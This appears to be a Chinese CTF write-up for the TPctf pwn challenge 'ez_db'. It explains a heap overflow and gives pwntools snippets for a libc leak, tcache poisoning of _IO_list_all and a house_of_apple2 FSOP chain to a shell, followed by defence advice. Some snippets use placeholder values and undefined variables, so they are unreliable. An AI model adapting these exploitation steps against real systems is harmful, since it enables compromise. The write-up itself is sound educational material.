TPctf-PWN-ez_db
字数 1225 2025-08-29 08:30:12

TPctf PWN - ez_db 漏洞分析与利用教学

题目概述

ez_db 是一个模拟数据库管理系统的题目,主要功能是管理消息记录。题目存在堆溢出漏洞,结合 FSOP (File Stream Oriented Programming) 和 house_of_apple2 技术实现利用。

漏洞分析

主数据结构

  • 使用一个固定大小 (0x400) 的 chunk 作为主 chunk
  • 添加记录时从后向前分割这个大 chunk
  • chunk 头部存储 id 和分割大小信息

关键漏洞点

漏洞存在于 insert 操作时的 size 检查逻辑:

  1. 检查逻辑:(this->end - this->pos + 1) > size + 4

    • end - pos 最大为 0x400
    • 因此 size 最大可以是 0x400 - 3
  2. 后续操作问题:

    • 使用 memcpy 复制数据
    • 计算剩余空间:end - size 后最多只剩 3 字节
    • size 信息存储在第四个字节处
    • 当 size=0x400-3 时可以覆盖 chunk 的 size 信息

漏洞利用原理

通过设置 size=0x400-3:

  1. 可以覆盖下一个 chunk 的 size 字段
  2. 修改 size 为更大的值造成堆溢出

利用思路

  1. 信息泄露

    • 从后往前 free chunk
    • 修改 size 后输出被 free 的 chunk 信息
    • 获取 libc 和 heap 基地址
  2. 堆利用

    • 利用堆溢出修改 tcache bin 的 fd
    • 劫持到 _IO_list_all
  3. 最终利用

    • 使用 house_of_apple2 技术完成利用

详细利用步骤

1. 准备工作

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

p = process('./ez_db')
libc = ELF('/path/to/libc.so.6')

2. 触发堆溢出

# 创建初始 chunk
add(0x100, b'A'*0x100)

# 触发溢出,设置 size=0x400-3
add(0x400-3, b'B'*(0x400-3) + p64(0x500))  # 修改下一个 chunk 的 size

3. 泄露 libc 和 heap 地址

# 释放 chunk 使其进入 unsorted bin
delete()

# 读取 chunk 信息泄露 main_arena 地址
show()
p.recvuntil('Content: ')
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leak - 0x1ebbe0  # 根据 libc 版本调整偏移

# 类似方法获取 heap 地址

4. 劫持 tcache

# 准备伪造的 chunk
fake_chunk = p64(0) + p64(0x21)  # 伪造 chunk header
fake_chunk += p64(libc.sym['_IO_list_all'] - 0x20)  # 修改 fd

# 通过堆溢出覆盖 tcache 的 fd
add(0x300, b'C'*offset_to_tcache + fake_chunk)

5. FSOP + house_of_apple2

# 构造伪造的 IO_FILE 结构
fake_file = p64(0) * 7
fake_file += p64(1)                    # _IO_write_base < _IO_write_ptr
fake_file += p64(0) * 2
fake_file += p64(libc.sym['system'])   # _IO_sync_t
fake_file += p64(0) * 0xd
fake_file += p64(heap_base + 0x1234)   # 指向 "/bin/sh" 字符串

# 分配 chunk 到 _IO_list_all 附近
add(0x100, fake_file)

# 触发 FSOP
p.sendlineafter('> ', '5')  # 假设选项5会触发文件流操作

6. 获取 shell

p.interactive()

关键点总结

  1. 堆溢出控制

    • 精确计算 size=0x400-3 实现 size 字段覆盖
    • 通过修改 size 实现可控的堆溢出
  2. 信息泄露

    • 利用 unsorted bin 泄露 libc 地址
    • 通过堆布局泄露 heap 地址
  3. 劫持技术

    • 通过 tcache poisoning 劫持 _IO_list_all
    • 结合 FSOP 实现控制流劫持
  4. house_of_apple2

    • 利用 _IO_sync_t 函数指针实现 ROP
    • 构造伪造的 IO_FILE 结构体

防御建议

  1. 修复 size 检查逻辑,确保不会出现整数溢出
  2. 添加边界检查,防止堆块重叠
  3. 使用更安全的函数替代 memcpy
  4. 启用更多保护机制 (如 FORTIFY_SOURCE)

扩展思考

  1. 如果题目开启了更多保护 (如 Full RELRO),如何调整利用方式?
  2. 是否有其他方法可以绕过 size 检查实现类似的堆溢出效果?
  3. 如何利用这个漏洞实现不需要泄露地址的利用?
TPctf PWN - ez_ db 漏洞分析与利用教学 题目概述 ez_ db 是一个模拟数据库管理系统的题目,主要功能是管理消息记录。题目存在堆溢出漏洞,结合 FSOP (File Stream Oriented Programming) 和 house_ of_ apple2 技术实现利用。 漏洞分析 主数据结构 使用一个固定大小 (0x400) 的 chunk 作为主 chunk 添加记录时从后向前分割这个大 chunk chunk 头部存储 id 和分割大小信息 关键漏洞点 漏洞存在于 insert 操作时的 size 检查逻辑: 检查逻辑: (this->end - this->pos + 1) > size + 4 end - pos 最大为 0x400 因此 size 最大可以是 0x400 - 3 后续操作问题: 使用 memcpy 复制数据 计算剩余空间: end - size 后最多只剩 3 字节 size 信息存储在第四个字节处 当 size=0x400-3 时可以覆盖 chunk 的 size 信息 漏洞利用原理 通过设置 size=0x400-3: 可以覆盖下一个 chunk 的 size 字段 修改 size 为更大的值造成堆溢出 利用思路 信息泄露 : 从后往前 free chunk 修改 size 后输出被 free 的 chunk 信息 获取 libc 和 heap 基地址 堆利用 : 利用堆溢出修改 tcache bin 的 fd 劫持到 _IO_list_all 最终利用 : 使用 house_ of_ apple2 技术完成利用 详细利用步骤 1. 准备工作 2. 触发堆溢出 3. 泄露 libc 和 heap 地址 4. 劫持 tcache 5. FSOP + house_ of_ apple2 6. 获取 shell 关键点总结 堆溢出控制 : 精确计算 size=0x400-3 实现 size 字段覆盖 通过修改 size 实现可控的堆溢出 信息泄露 : 利用 unsorted bin 泄露 libc 地址 通过堆布局泄露 heap 地址 劫持技术 : 通过 tcache poisoning 劫持 _IO_list_all 结合 FSOP 实现控制流劫持 house_ of_ apple2 : 利用 _IO_sync_t 函数指针实现 ROP 构造伪造的 IO_ FILE 结构体 防御建议 修复 size 检查逻辑,确保不会出现整数溢出 添加边界检查,防止堆块重叠 使用更安全的函数替代 memcpy 启用更多保护机制 (如 FORTIFY_ SOURCE) 扩展思考 如果题目开启了更多保护 (如 Full RELRO),如何调整利用方式? 是否有其他方法可以绕过 size 检查实现类似的堆溢出效果? 如何利用这个漏洞实现不需要泄露地址的利用?